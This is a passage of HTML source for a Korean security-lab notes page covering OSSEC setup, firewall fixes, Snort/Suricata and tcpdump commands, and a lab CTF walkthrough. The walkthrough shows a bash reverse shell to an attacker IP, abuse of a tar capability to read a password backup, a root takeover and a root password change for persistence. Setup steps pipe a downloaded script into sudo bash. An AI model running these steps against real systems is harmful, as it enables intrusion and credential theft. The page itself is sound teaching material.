    padding: 8px 16px;
    font-size: 13px;
    font-family: 'JetBrains Mono', monospace;
    color: var(--text);
  }

  .flow-item.highlight { border-color: var(--accent-blue); color: var(--accent-blue); }
  .flow-item.server    { border-color: var(--accent-green); color: var(--accent-green); }
  .flow-item.agent     { border-color: var(--accent-orange); color: var(--accent-orange); }

  .flow-arrow { color: var(--text-muted); font-size: 18px; }

  /* ── 구분선 ── */
  hr {
    border: none;
    border-top: 1px solid var(--border);
    margin: 40px 0;
  }

  /* ── 푸터 ── */
  footer {
    text-align: center;
    padding: 32px;
    font-size: 12px;
    color: var(--text-muted);
    border-top: 1px solid var(--border);
    font-family: 'JetBrains Mono', monospace;
  }
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;header&gt;
  &lt;div class=&quot;badge&quot;&gt;Security Lab Notes&lt;/div&gt;
  &lt;h1&gt;보안 실습 명령어 정리&lt;/h1&gt;
  &lt;p&gt;OSSEC HIDS · CTF 해킹 실습 · IDS (Snort / Suricata) — 처음부터 따라할 수 있는 레퍼런스&lt;/p&gt;
&lt;/header&gt;

&lt;!-- 목차 --&gt;
&lt;nav class=&quot;toc&quot;&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;#ossec-concept&quot;&gt;OSSEC이란?&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#ossec-server&quot;&gt;OSSEC 서버 설치&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#ossec-agent&quot;&gt;OSSEC 에이전트 설치&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#ossec-troubleshoot&quot;&gt;OSSEC 연결 오류 해결&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#ctf&quot;&gt;CTF 실습&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#ids&quot;&gt;IDS 명령어&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/nav&gt;

&lt;main&gt;

  &lt;!-- ══════════════════════════════════════════════
       § 0. OSSEC 개념
  ══════════════════════════════════════════════ --&gt;
  &lt;section id=&quot;ossec-concept&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;span class=&quot;num&quot;&gt;00&lt;/span&gt;
      &lt;h2&gt;OSSEC이란?&lt;/h2&gt;
      &lt;span class=&quot;tag tag-concept&quot;&gt;개념&lt;/span&gt;
    &lt;/div&gt;

    &lt;div class=&quot;info-box&quot;&gt;
      &lt;strong&gt;OSSEC (Open Source Security)&lt;/strong&gt; — 호스트 기반 침입 탐지 시스템 (HIDS, Host-based Intrusion Detection System)&lt;br&gt;&lt;br&gt;
      쉽게 말하면 각 컴퓨터(호스트)에 &lt;strong&gt;에이전트&lt;/strong&gt;를 설치해서, 이상한 일이 생기면 중앙 &lt;strong&gt;서버&lt;/strong&gt;에 보고하는 보안 감시 시스템입니다.
    &lt;/div&gt;

    &lt;p style=&quot;margin-bottom: 14px; font-size: 14px; color: var(--text-muted)&quot;&gt;OSSEC이 감시하는 항목들:&lt;/p&gt;
    &lt;table&gt;
      &lt;tr&gt;&lt;th&gt;탐지 항목&lt;/th&gt;&lt;th&gt;예시&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;로그 분석&lt;/td&gt;
        &lt;td&gt;SSH 로그인 실패, sudo 사용&lt;/td&gt;
        &lt;td&gt;시스템 로그를 실시간으로 파싱해서 수상한 패턴을 찾음&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;파일 무결성&lt;/td&gt;
        &lt;td&gt;/etc, /bin 등 변조 감지&lt;/td&gt;
        &lt;td&gt;중요 파일의 해시 값을 주기적으로 비교. 바뀌면 즉시 알림&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;루트킷 탐지&lt;/td&gt;
        &lt;td&gt;악성코드 숨김 탐지&lt;/td&gt;
        &lt;td&gt;숨겨진 프로세스·파일 탐색&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;정책 위반&lt;/td&gt;
        &lt;td&gt;비밀번호 여러 번 틀림&lt;/td&gt;
        &lt;td&gt;설정한 규칙 위반 시 경보&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;실시간 알림&lt;/td&gt;
        &lt;td&gt;alerts.log 기록&lt;/td&gt;
        &lt;td&gt;탐지 즉시 &lt;code&gt;/var/ossec/logs/alerts/alerts.log&lt;/code&gt;에 기록&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/table&gt;

    &lt;p style=&quot;margin-bottom: 12px; font-size: 14px; color: var(--text-muted)&quot;&gt;오늘 구성한 아키텍처:&lt;/p&gt;
    &lt;div class=&quot;flow&quot;&gt;
      &lt;span class=&quot;flow-item agent&quot;&gt;Agent (Linux .236)&lt;/span&gt;
      &lt;span class=&quot;flow-arrow&quot;&gt;→&lt;/span&gt;
      &lt;span class=&quot;flow-item&quot;&gt;UDP/TCP 1514&lt;/span&gt;
      &lt;span class=&quot;flow-arrow&quot;&gt;→&lt;/span&gt;
      &lt;span class=&quot;flow-item server&quot;&gt;OSSEC Server (235)&lt;/span&gt;
      &lt;span class=&quot;flow-arrow&quot;&gt;→&lt;/span&gt;
      &lt;span class=&quot;flow-item highlight&quot;&gt;alerts.log 중앙 관제&lt;/span&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- ══════════════════════════════════════════════
       § 1. OSSEC 서버 설치
  ══════════════════════════════════════════════ --&gt;
  &lt;section id=&quot;ossec-server&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;span class=&quot;num&quot;&gt;01&lt;/span&gt;
      &lt;h2&gt;OSSEC 서버 설치 (172.16.11.235)&lt;/h2&gt;
      &lt;span class=&quot;tag tag-server&quot;&gt;SERVER&lt;/span&gt;
    &lt;/div&gt;

    &lt;div class=&quot;info-box&quot;&gt;
      서버는 에이전트들로부터 보고를 받는 &lt;strong&gt;중앙 관제 역할&lt;/strong&gt;입니다. 먼저 의존성 패키지를 깔고, Atomic 저장소를 추가한 뒤 &lt;code&gt;ossec-hids-server&lt;/code&gt;를 설치합니다.
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;1단계 — 의존성 패키지 설치&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# OSSEC 빌드/실행에 필요한 라이브러리들을 한 번에 설치&lt;/span&gt;
sudo apt install -y \
  build-essential make \   &lt;span class=&quot;comment&quot;&gt;# C 컴파일러, make 빌드 도구&lt;/span&gt;
  zlib1g-dev libpcre2-dev \ &lt;span class=&quot;comment&quot;&gt;# 압축, 정규표현식 라이브러리&lt;/span&gt;
  libevent-dev libssl-dev \ &lt;span class=&quot;comment&quot;&gt;# 이벤트 루프, SSL 암호화&lt;/span&gt;
  libz-dev libsqlite3-dev   &lt;span class=&quot;comment&quot;&gt;# 압축, DB (DB 모드 사용 시)&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;2단계 — Atomic 저장소 추가 (OSSEC 패키지 제공)&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# Atomic Corp 저장소를 자동으로 등록하는 스크립트 실행&lt;/span&gt;
&lt;span class=&quot;comment&quot;&gt;# -q -O - : 조용히 다운로드 후 바로 bash로 실행&lt;/span&gt;
sudo wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo bash

sudo apt update   &lt;span class=&quot;comment&quot;&gt;# 새 저장소 반영&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;3단계 — OSSEC 서버 설치 &amp; 확인&lt;/div&gt;
      &lt;pre&gt;sudo apt install -y ossec-hids-server

&lt;span class=&quot;comment&quot;&gt;# 설치 확인 — 아래 파일들이 있으면 정상&lt;/span&gt;
sudo ls &lt;span class=&quot;cmd-path&quot;&gt;/var/ossec/etc/ossec.conf&lt;/span&gt;       &lt;span class=&quot;comment&quot;&gt;# 메인 설정 파일&lt;/span&gt;
sudo ls &lt;span class=&quot;cmd-path&quot;&gt;/var/ossec/bin/manage_agents&lt;/span&gt;     &lt;span class=&quot;comment&quot;&gt;# 에이전트 키 관리 도구&lt;/span&gt;
sudo ls &lt;span class=&quot;cmd-path&quot;&gt;/var/ossec/bin/ossec-control&lt;/span&gt;     &lt;span class=&quot;comment&quot;&gt;# 서비스 시작/정지 도구&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# OSSEC 서버 시작&lt;/span&gt;
sudo /var/ossec/bin/ossec-control start&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;4단계 — 에이전트 키 등록 (서버에서 수행)&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# 에이전트를 서버에 등록하고 인증 키를 발급하는 대화형 툴&lt;/span&gt;
sudo /var/ossec/bin/manage_agents

&lt;span class=&quot;comment&quot;&gt;# 메뉴가 뜨면:
# A → Add an agent   (에이전트 추가)
# E → Extract key    (키 출력 — 이걸 클라이언트에 붙여넣기)&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;5단계 — 에이전트 연결 확인&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# 현재 연결된 에이전트 목록 출력&lt;/span&gt;
sudo /var/ossec/bin/agent_control -l

&lt;span class=&quot;comment&quot;&gt;# 실시간 알림 로그 모니터링&lt;/span&gt;
sudo tail -f &lt;span class=&quot;cmd-path&quot;&gt;/var/ossec/logs/alerts/alerts.log&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- ══════════════════════════════════════════════
       § 2. OSSEC 에이전트 설치
  ══════════════════════════════════════════════ --&gt;
  &lt;section id=&quot;ossec-agent&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;span class=&quot;num&quot;&gt;02&lt;/span&gt;
      &lt;h2&gt;OSSEC 에이전트 설치 (클라이언트)&lt;/h2&gt;
      &lt;span class=&quot;tag tag-agent&quot;&gt;AGENT&lt;/span&gt;
    &lt;/div&gt;

    &lt;div class=&quot;info-box orange&quot;&gt;
      에이전트는 감시 대상 서버마다 설치합니다. 서버 설치와 동일하게 의존성·저장소를 추가한 후 &lt;code&gt;ossec-hids-agent&lt;/code&gt;를 설치하면 됩니다.
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;1단계 — 서버와 동일하게 의존성 + 저장소 추가&lt;/div&gt;
      &lt;pre&gt;sudo apt install -y build-essential make zlib1g-dev libpcre2-dev \
  libevent-dev libssl-dev libz-dev libsqlite3-dev

sudo wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo bash
sudo apt update&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;2단계 — OSSEC 에이전트 설치&lt;/div&gt;
      &lt;pre&gt;sudo apt install -y ossec-hids-agent&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;3단계 — 서버 IP 설정&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# 에이전트가 어느 서버에 보고할지 지정&lt;/span&gt;
sudo vi &lt;span class=&quot;cmd-path&quot;&gt;/var/ossec/etc/ossec.conf&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 아래 부분을 찾아서 서버 IP 입력&lt;/span&gt;
&amp;lt;client&amp;gt;
  &amp;lt;server-ip&amp;gt;&lt;span class=&quot;cmd-value&quot;&gt;172.16.11.235&lt;/span&gt;&amp;lt;/server-ip&amp;gt;   &lt;span class=&quot;comment&quot;&gt;&amp;lt;!-- 서버 IP --&amp;gt;&lt;/span&gt;
&amp;lt;/client&amp;gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;4단계 — 서버에서 발급받은 키 등록&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# 대화형 키 등록 도구 실행&lt;/span&gt;
sudo /var/ossec/bin/manage_agents

&lt;span class=&quot;comment&quot;&gt;# 메뉴에서:
# I → Import key   (서버의 manage_agents에서 추출한 키를 붙여넣기)
# Q → Quit&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;5단계 — 에이전트 시작 &amp; 로그 확인&lt;/div&gt;
      &lt;pre&gt;sudo /var/ossec/bin/ossec-control start

&lt;span class=&quot;comment&quot;&gt;# 로그 디렉토리 확인&lt;/span&gt;
sudo ls &lt;span class=&quot;cmd-path&quot;&gt;/var/ossec/logs&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 에이전트 쪽 로그 실시간 확인&lt;/span&gt;
sudo tail -f &lt;span class=&quot;cmd-path&quot;&gt;/var/ossec/logs/ossec.log&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- ══════════════════════════════════════════════
       § 3. OSSEC 연결 오류 해결
  ══════════════════════════════════════════════ --&gt;
  &lt;section id=&quot;ossec-troubleshoot&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;span class=&quot;num&quot;&gt;03&lt;/span&gt;
      &lt;h2&gt;OSSEC 연결 오류 해결&lt;/h2&gt;
      &lt;span class=&quot;tag tag-server&quot;&gt;TROUBLESHOOT&lt;/span&gt;
    &lt;/div&gt;

    &lt;div class=&quot;warn-banner&quot;&gt;
      에이전트가 &lt;code&gt;Connected to 172.16.11.235&lt;/code&gt;는 뜨는데 메시지 전송 실패? → &lt;strong&gt;키 인증 실패&lt;/strong&gt; 또는 &lt;strong&gt;방화벽 포트 차단&lt;/strong&gt;이 원인입니다.
    &lt;/div&gt;

    &lt;div class=&quot;info-box blue&quot;&gt;
      OSSEC은 &lt;strong&gt;UDP/TCP 1514&lt;/strong&gt; 포트를 사용합니다. 이 포트가 서버에서 열려 있지 않으면 에이전트가 연결은 해도 데이터를 못 보냅니다.
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;방법 A — firewalld로 포트 열기 (서버 235에서)&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# firewalld 설치 (없는 경우)&lt;/span&gt;
sudo apt install -y firewalld

&lt;span class=&quot;comment&quot;&gt;# 1514 포트 영구 허용 (UDP + TCP 둘 다)&lt;/span&gt;
sudo firewall-cmd &lt;span class=&quot;cmd-flag&quot;&gt;--permanent --add-port=1514/udp&lt;/span&gt;
sudo firewall-cmd &lt;span class=&quot;cmd-flag&quot;&gt;--permanent --add-port=1514/tcp&lt;/span&gt;
sudo firewall-cmd &lt;span class=&quot;cmd-flag&quot;&gt;--reload&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 적용 확인&lt;/span&gt;
sudo firewall-cmd --list-ports&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;방법 B — ufw 사용 시&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# ufw가 활성화된 경우 (ufw status 로 확인)&lt;/span&gt;
sudo ufw allow 1514/udp
sudo ufw allow 1514/tcp
sudo ufw reload&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;양쪽 재시작 (포트 설정 후 반드시)&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# 서버 (235) 재시작&lt;/span&gt;
sudo /var/ossec/bin/ossec-control restart

&lt;span class=&quot;comment&quot;&gt;# 에이전트 (236) 재시작&lt;/span&gt;
sudo /var/ossec/bin/ossec-control restart

&lt;span class=&quot;comment&quot;&gt;# 서버에서 에이전트 연결 상태 확인&lt;/span&gt;
sudo /var/ossec/bin/agent_control -l
&lt;span class=&quot;comment&quot;&gt;# &quot;Active&quot; 로 뜨면 성공!&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;hr&gt;

  &lt;!-- ══════════════════════════════════════════════
       § 4. CTF 실습
  ══════════════════════════════════════════════ --&gt;
  &lt;section id=&quot;ctf&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;span class=&quot;num&quot;&gt;04&lt;/span&gt;
      &lt;h2&gt;CTF 해킹 실습 흐름&lt;/h2&gt;
      &lt;span class=&quot;tag tag-ctf&quot;&gt;CTF&lt;/span&gt;
    &lt;/div&gt;

    &lt;div class=&quot;info-box purple&quot;&gt;
      칼리 리눅스에서 타깃 서버(172.16.11.216)를 공격하는 흐름입니다. &lt;strong&gt;침투 → 권한 상승 → 플래그 탈취&lt;/strong&gt; 순서로 진행됩니다.
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;1단계 — enum4linux로 사용자 이름 열거&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# SMB 프로토콜을 통해 타깃의 사용자·공유 정보를 수집&lt;/span&gt;
sudo enum4linux &lt;span class=&quot;cmd-value&quot;&gt;172.16.11.216&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 출력 결과에서 유저 확인 예시:
# user:[cyber] rid:[0x3e8]
# → 로그인 이름이 &quot;cyber&quot; 임을 확인&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;2단계 — 리버스 쉘 연결&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# 공격자(칼리, 213)에서 먼저 리스닝 시작&lt;/span&gt;
nc &lt;span class=&quot;cmd-flag&quot;&gt;-lvp&lt;/span&gt; &lt;span class=&quot;cmd-value&quot;&gt;1234&lt;/span&gt;
&lt;span class=&quot;comment&quot;&gt;# -l : listen 모드  -v : 상세 출력  -p : 포트 지정&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 타깃 서버에서 실행 (RCE 취약점 등을 통해 실행)
# bash를 강제로 역방향으로 공격자에게 연결시킴&lt;/span&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/&lt;span class=&quot;cmd-value&quot;&gt;172.16.11.213&lt;/span&gt;/&lt;span class=&quot;cmd-value&quot;&gt;1234&lt;/span&gt; 0&amp;gt;&amp;amp;1&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;3단계 — 기본 시스템 정보 수집&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# 리버스 쉘 연결 후 가장 먼저 확인할 것들&lt;/span&gt;
cat /etc/issue     &lt;span class=&quot;comment&quot;&gt;# OS 버전 (Ubuntu 22.04 등)&lt;/span&gt;
uname -a           &lt;span class=&quot;comment&quot;&gt;# 커널 버전 — 커널 익스플로잇 여부 판단&lt;/span&gt;
id                 &lt;span class=&quot;comment&quot;&gt;# 현재 사용자 확인&lt;/span&gt;
whoami             &lt;span class=&quot;comment&quot;&gt;# 현재 계정 이름&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;4단계 — 권한 상승 벡터 탐색&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# SUID 파일 찾기 — root 권한으로 실행되는 파일 목록&lt;/span&gt;
&lt;span class=&quot;comment&quot;&gt;# SUID가 설정된 파일은 실행 시 파일 소유자(주로 root) 권한으로 동작&lt;/span&gt;
find / &lt;span class=&quot;cmd-flag&quot;&gt;-perm -4000 -type f&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class=&quot;comment&quot;&gt;# Capabilities 확인 — SUID 없이도 특수 권한이 부여된 파일 탐색&lt;/span&gt;
&lt;span class=&quot;comment&quot;&gt;# getcap은 예: tar에 cap_dac_read_search 권한이 있으면 모든 파일 읽기 가능&lt;/span&gt;
getcap -r / 2&amp;gt;/dev/null

&lt;span class=&quot;comment&quot;&gt;# sudo 가능한 명령어 확인&lt;/span&gt;
sudo -l&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;5단계 — tar Capability 악용 → 비밀 파일 탈취&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# getcap 결과에서 tar에 cap_dac_read_search 권한이 있는 경우:
# cap_dac_read_search = 파일 권한 무시하고 모든 파일 읽기 가능&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 원래 읽을 수 없는 비밀번호 백업 파일을 tar로 묶어서 훔침&lt;/span&gt;
./tar cf bak.tar &lt;span class=&quot;cmd-path&quot;&gt;/var/backups/.old_pass.bak&lt;/span&gt;
&lt;span class=&quot;comment&quot;&gt;# cf : create file — bak.tar 를 생성하면서 .old_pass.bak 포함&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 압축 해제 후 내용 확인&lt;/span&gt;
tar -xf bak.tar
cat &lt;span class=&quot;cmd-path&quot;&gt;var/backups/.old_pass.bak&lt;/span&gt;   &lt;span class=&quot;comment&quot;&gt;# 비밀번호 출력!&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;6단계 — root 전환 &amp; 플래그 탈취&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# 얻은 비밀번호로 root 전환&lt;/span&gt;
su root

&lt;span class=&quot;comment&quot;&gt;# root 홈 디렉토리에서 플래그 찾기&lt;/span&gt;
cd /root
ls
cat rOOt.txt   &lt;span class=&quot;comment&quot;&gt;# CTF 플래그!&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 비밀번호 변경 (접근 유지 목적)&lt;/span&gt;
passwd         &lt;span class=&quot;comment&quot;&gt;# 1234 등 새 비밀번호 설정&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;info-box purple&quot;&gt;
      &lt;strong&gt;이번 실습 핵심 취약점: Linux Capabilities (getcap)&lt;/strong&gt;&lt;br&gt;
      SUID와 달리 파일 단위로 특정 권한만 부여하는 방식이지만, &lt;code&gt;cap_dac_read_search&lt;/code&gt;처럼 강력한 권한이 붙어 있으면 동일하게 권한 상승 경로가 됩니다. 실제 환경에서도 &lt;code&gt;getcap -r /&lt;/code&gt;은 반드시 체크해야 할 항목입니다.
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;hr&gt;

  &lt;!-- ══════════════════════════════════════════════
       § 5. IDS 명령어 (Snort / Suricata)
  ══════════════════════════════════════════════ --&gt;
  &lt;section id=&quot;ids&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;span class=&quot;num&quot;&gt;05&lt;/span&gt;
      &lt;h2&gt;IDS 명령어 (Snort / Suricata)&lt;/h2&gt;
      &lt;span class=&quot;tag tag-ids&quot;&gt;IDS / NMS&lt;/span&gt;
    &lt;/div&gt;

    &lt;div class=&quot;info-box red&quot;&gt;
      네트워크 기반 침입 탐지 (NIDS). OSSEC이 호스트 내부를 감시한다면, Snort/Suricata는 &lt;strong&gt;네트워크 트래픽&lt;/strong&gt;을 감시합니다.
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;NMS 서버 호스트명 변경&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# 서버 이름을 nms-server로 변경 후 쉘 재시작&lt;/span&gt;
sudo hostnamectl set-hostname &lt;span class=&quot;cmd-value&quot;&gt;nms-server&lt;/span&gt; &amp;&amp; exec bash&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;tcpdump — 네트워크 패킷 캡처&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# tcpdump 설치 (RHEL/CentOS/Rocky 계열)&lt;/span&gt;
sudo dnf install -y tcpdump

&lt;span class=&quot;comment&quot;&gt;# 특정 인터페이스의 패킷을 파일로 저장&lt;/span&gt;
sudo tcpdump &lt;span class=&quot;cmd-flag&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;cmd-value&quot;&gt;enp0s3&lt;/span&gt; &lt;span class=&quot;cmd-flag&quot;&gt;-w&lt;/span&gt; &lt;span class=&quot;cmd-path&quot;&gt;/tmp/capture.pcap&lt;/span&gt;
&lt;span class=&quot;comment&quot;&gt;# -i enp0s3 : 캡처할 네트워크 인터페이스 (ip a 로 확인)
# -w        : 결과를 파일로 저장 (Wireshark로 분석 가능)&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 저장된 pcap 파일 읽기&lt;/span&gt;
sudo tcpdump &lt;span class=&quot;cmd-flag&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;cmd-path&quot;&gt;/tmp/capture.pcap&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 특정 포트만 필터링해서 캡처&lt;/span&gt;
sudo tcpdump -i enp0s3 &lt;span class=&quot;cmd-flag&quot;&gt;port 80&lt;/span&gt; -w /tmp/http.pcap

&lt;span class=&quot;comment&quot;&gt;# 특정 IP만 필터링&lt;/span&gt;
sudo tcpdump -i enp0s3 &lt;span class=&quot;cmd-flag&quot;&gt;host 172.16.11.235&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;자주 헷갈리는 옵션 정리&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# ─── tcpdump 옵션 ───────────────────────────────&lt;/span&gt;
-i &amp;lt;인터페이스&amp;gt;    &lt;span class=&quot;comment&quot;&gt;# 어떤 NIC에서 캡처할지 (any = 전체)&lt;/span&gt;
-w &amp;lt;파일.pcap&amp;gt;     &lt;span class=&quot;comment&quot;&gt;# 파일로 저장 (이 옵션 없으면 터미널에 출력)&lt;/span&gt;
-r &amp;lt;파일.pcap&amp;gt;     &lt;span class=&quot;comment&quot;&gt;# 저장된 파일 읽기&lt;/span&gt;
-n                 &lt;span class=&quot;comment&quot;&gt;# IP/포트를 이름으로 변환하지 않음 (속도 ↑)&lt;/span&gt;
-v / -vv / -vvv   &lt;span class=&quot;comment&quot;&gt;# 상세도 단계별 증가&lt;/span&gt;
-c &amp;lt;개수&amp;gt;          &lt;span class=&quot;comment&quot;&gt;# n개 패킷만 캡처 후 종료&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# ─── 필터 문법 ──────────────────────────────────&lt;/span&gt;
port 22            &lt;span class=&quot;comment&quot;&gt;# SSH 포트만&lt;/span&gt;
host 192.168.1.1   &lt;span class=&quot;comment&quot;&gt;# 특정 호스트&lt;/span&gt;
tcp / udp          &lt;span class=&quot;comment&quot;&gt;# 프로토콜 필터&lt;/span&gt;
not port 443       &lt;span class=&quot;comment&quot;&gt;# HTTPS 제외&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
      &lt;div class=&quot;cmd-title&quot;&gt;Suricata 관련 자주 쓰는 명령어&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# Suricata 서비스 상태 확인&lt;/span&gt;
sudo systemctl status suricata

&lt;span class=&quot;comment&quot;&gt;# 설정 파일 문법 검사&lt;/span&gt;
sudo suricata -T -c &lt;span class=&quot;cmd-path&quot;&gt;/etc/suricata/suricata.yaml&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 인터페이스 지정해서 실행&lt;/span&gt;
sudo suricata -i enp0s3

&lt;span class=&quot;comment&quot;&gt;# 이미 캡처된 pcap 파일 오프라인 분석&lt;/span&gt;
sudo suricata -r &lt;span class=&quot;cmd-path&quot;&gt;/tmp/capture.pcap&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 알림 로그 실시간 확인&lt;/span&gt;
sudo tail -f &lt;span class=&quot;cmd-path&quot;&gt;/var/log/suricata/fast.log&lt;/span&gt;
sudo tail -f &lt;span class=&quot;cmd-path&quot;&gt;/var/log/suricata/eve.json&lt;/span&gt;   &lt;span class=&quot;comment&quot;&gt;# JSON 형식 (상세)&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 규칙 업데이트 (suricata-update 사용 시)&lt;/span&gt;
sudo suricata-update&lt;/pre&gt;
    &lt;/div&gt;

    &lt;div class=&quot;cmd-block&quot;&gt;
